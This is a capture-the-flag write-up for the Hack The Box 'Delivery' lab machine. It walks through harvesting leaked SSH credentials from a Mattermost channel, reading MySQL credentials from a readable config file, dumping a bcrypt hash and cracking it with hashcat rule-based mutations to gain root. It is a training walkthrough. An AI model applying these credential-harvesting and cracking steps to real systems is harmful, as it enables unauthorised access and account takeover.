Hack The Box Delivery Writeup (Easy Linux)
Easy Linux box. A Mattermost internal channel leaks SSH credentials, and hashcat rules turn the mattermost root hash into the system root password.
Summary
Delivery points visitors at two services, a helpdesk vhost and a Mattermost instance, and joining Mattermost’s internal team exposes the conversation the box is built around. Messages from root hand over the osTicket server login maildeliverer:Youve_G0t_Mail!, which works over SSH, and warn that the team keeps reusing variations of the phrase PleaseSubscribe!. On the box, Mattermost’s config.json in /opt is world readable and carries the MySQL connection string, so connecting as mmuser and dumping the Users table yields the bcrypt hash for the Mattermost root account. Feeding a handful of PleaseSubscribe! variants through hashcat’s best66 rule produces a 330 word list that cracks the hash to PleaseSubscribe!21, and the same password works for su root.
Service Enumeration
Web Server Enumeration
The web server right away points me to two directions:
If I hover the mouse on “helpdesk”, it directs me to a new vhost “helpdesk.delivery.htb”. If I click on contact it informs me about a mattermost instance:
Mattermost Account
And now I can select which team I want to join. It gives me the “internal” team as an option:
I join “internal” and am presented with some pretty interesting information right away. Messages from the “root” user:
More specifically, cleartext credentials to OsTicket:
1
@developers Please update theme to the OSTicket before we go live. Credentials to the server are maildeliverer:Youve_G0t_Mail!
And also information about password hashes and how they’re using a weak variation of a string:
1
Also please create a program to help us stop re-using the same passwords everywhere.... Especially those that are a variant of "PleaseSubscribe!"
They also provide a valuable hint about password cracking using hashcat rules:
1
PleaseSubscribe! may not be in RockYou but if any hacker manages to get our hashes, they can use hashcat rules to easily crack all variations of common words or phrases.
Initial Access
I connect to the machine via SSH using the credentials from the internal communications in Mattermost:
1
2
Username: maildeliverer
Password: Youve_G0t_Mail!
Vertical Privilege Escalation - root
I notice how mattermost is installed in /opt:
1
2
3
4
5
$ ls -la /opt
total 12
drwxr-xr-x 3 root root 4096 Jul 14 2021 .
drwxr-xr-x 19 root root 4096 Jul 14 2021 ..
drwxrwxr-x 12 mattermost mattermost 4096 Jul 14 2021 mattermost
I try to locate any readable files, in hopes I can find configuration strings that could possibly lead me to obtain more access on the system.
1
find /opt -readable
It returns me a bunch of files. The very last ones include config-related stuff:
1
2
3
4
/opt/mattermost/config
/opt/mattermost/config/cloud_defaults.json
/opt/mattermost/config/config.json
/opt/mattermost/config/README.md
I read config.json:
1
cat /opt/mattermost/config/config.json
Among the settings, there’s the mysql connection string:
More specifically:
1
"DataSource": "mmuser:Crack_The_MM_Admin_PW@tcp(127.0.0.1:3306)/mattermost?charset=utf8mb4,utf8\u0026readTimeout=30s\u0026writeTimeout=30s",
With that, new credentials:
1
2
3
Username: mmuser
Password: Crack_The_MM_Admin_PW
Host: 127.0.0.1:3306 (mysql/mariadb)
MYSQL Enumeration
I connect to the mysql server:
1
2
3
4
5
6
7
8
9
10
11
$ mysql -u mmuser -p;
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 119
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
I enumerate for databases:
1
2
3
4
5
6
7
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mattermost |
+--------------------+
Use the mattermost database:
1
MariaDB [(none)]> use mattermost
List for tables:
1
MariaDB [mattermost]> show tables;
It returns a bunch of tables, including “Users”:
1
2
3
4
5
6
7
8
9
10
11
12
13
+------------------------+
| Tables_in_mattermost |
+------------------------+
| Audits |
| Bots |
| ChannelMemberHistory |
<SNIPPET>
| UserGroups |
| UserTermsOfService |
| Users |
+------------------------+
I dump the “Users” table:
1
MariaDB [mattermost]> select * from Users;
There are a few users, but the admin for mattermost is this:
1
2
3
4
5
6
7
MariaDB [mattermost]> select Password from Users where Username = 'root';
+--------------------------------------------------------------+
| Password |
+--------------------------------------------------------------+
| $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO |
+--------------------------------------------------------------+
1 row in set (0.001 sec
Password Hash Cracking
Previous messages in mattermost chat reveal how we may need to perform mutations on the password “PleaseSubscribe!” in order to crack hashes for user passwords in this environment.
I create a simple “pass.list” file:
1
2
3
4
5
PleaseSubscribe!
PleaseSubscribe
Please Subscribe
Please
Subscribe
Then I use hashcat to perform mutations using the best66 rule (one of the most well-known hashcat rules):
1
~/Downloads/hashcat-7.1.2/hashcat.bin --force pass.list -r ~/Downloads/hashcat-7.1.2/rules/best66.rule --stdout > hashcat_words.txt
It transformed my 5-line pass.list file into 330 possible passwords:
1
2
3
4
5
$ cat hashcat_words.txt | wc -l
330
$ cat pass.list | wc -l
5
I save the password hash for root to a file named “hash.txt” and use hashcat against it, using the generated wordlist hashcat_words.txt:
1
hashcat hash.txt hashcat_words.txt -m 3200
It cracks almost immediately:
With that, new credentials:
1
2
Username: root
Password: PleaseSubscribe!21
And now I can use the SSH session as “maildeliverer” to log in as root:
1
2
3
4
maildeliverer@Delivery:/$ su root
Password: PleaseSubscribe!21
root@Delivery:/#
